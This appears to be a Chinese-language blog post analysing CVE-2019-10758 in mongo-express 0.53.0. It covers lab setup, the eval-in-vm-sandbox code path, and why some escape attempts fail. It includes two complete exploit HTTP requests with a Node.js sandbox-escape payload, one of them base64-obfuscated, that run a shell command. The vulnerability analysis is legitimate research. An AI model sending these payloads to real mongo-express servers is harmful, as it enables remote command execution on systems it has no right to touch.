CVE-2019-10758 mongo-express rce分析

安装启动:

1
2
3
4
5
npm安装: apt-get install npm
nodejs安装 apt-get install nodejs
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0
cd node_modules/mongo-express/ && nodejs app.js

upload successful

发送如下报文:

1
2
3
4
5
6
7
8
9
10
POST /checkValid HTTP/1.1
Host: localhost:8081
User-Agent: curl/7.64.1
Accept: */*
Authorization: Basic YWRtaW46cGFzcw==
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("open -a Calculator")

rce:

upload successful

如上payload,是nodejs中通过沙盒启动rce的方式,这里我们试试通过引入global全局变量rce并开启debug,发现并没有造成rce

upload successful

upload successful

再试试直接引入child_process,发现依旧不能造成rce

upload successful

upload successful

跟进代码,寻找漏洞触发点,并寻找这两次报错的原因:
在/lib/routes/document.js 29行发现doc参数会获取我们输入的document参数的值

upload successful

接下来跟进参数处理逻辑,发现会经过bson.toBSON方法,跟进该方法,发现我们传入的doc参数会经过eval函数作用从而造成rce。
但是此处会调用getSandbox方法对eval代码执行时的调用或者访问的变量进行沙盒处理。

upload successful

因为在vm构建的sandbox中,没有任何访问的全局变量,除了基本的syntax。所以我们跟进getSandbox方法确定在vm sandbox中我们能够访问的变量,发现在vm.runInNewContext方法中能访问到的变量只有如下这些,并不包含global和require。所以我们之前引入global全局变量和直接require都会报错就是这个原因。

upload successful

同时,因为这个地方可以允许使用Buffer变量,我们可以对我们的payload进行base64编码,然后传入buffer二进制流,也可以造成rce。

1
2
3
4
5
6
7
8
9
10
POST /checkValid HTTP/1.1
Host: localhost:8081
User-Agent: curl/7.64.1
Accept: */*
Authorization: Basic YWRtaW46cGFzcw==
Content-Length: 203
Content-Type: application/x-www-form-urlencoded
Connection: close

document=new Buffer(`dGhpcy5jb25zdHJ1Y3Rvci5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpLm1haW5Nb2R1bGUucmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJvcGVuIC1hIENhbGN1bGF0b3IiKQ==`,`base64`).toString()

know it then enjoy it~

打赏
  • © 2020 sommous

老板,来杯卡布奇诺~

支付宝
微信